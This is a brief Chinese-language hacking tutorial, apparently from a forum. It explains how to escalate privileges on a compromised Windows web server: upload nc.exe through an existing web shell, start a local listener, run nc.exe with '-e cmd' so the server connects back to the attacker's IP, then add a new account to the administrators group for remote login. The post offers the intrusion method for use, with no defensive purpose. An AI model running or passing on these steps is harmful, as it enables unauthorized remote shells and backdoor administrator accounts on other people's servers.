Windows下NC反弹CMD提权
Server-U等都不可以用的情况下. 一般都可思考用此方法不过这种方法, 只要对方装了防火墙, 或是屏蔽掉了除常用的那几个端口外的所有端口… 那么这种方法也失效了….
1:通过shell将上传NC和CMD传到站点目录下(这里一定上传的注意权限,最好是可读写目录下)
web目录都是有写有读的权限,我们直接传NC进去
http://www.myhack58.com/Article/UploadPic/2013-3/20133261354113.jpg
2:然后本地执行nc -vv -lp 52进行反弹
http://www.myhack58.com/Article/UploadPic/2013-3/20133261355274.jpg
3:在shell命令下执行
F:\wwwroot\img\nc.exe -e cmd上传路径 IP(外网IP) 52(这里是本机端口)
http://www.myhack58.com/Article/UploadPic/2013-3/20133261356938.jpg
4:在shell里执行命令后,马上看到本地CMS里已经反弹上去了,执行net user 也是成功.
http://www.myhack58.com/Article/UploadPic/2013-3/20133261356503.jpg
5:直接添加用户,然后远程去连接!
http://www.myhack58.com/Article/UploadPic/2013-3/20133261356672.jpg
看到添加成功,也设置为管理组了!接下来直接远程连接就OK!
页:
[1]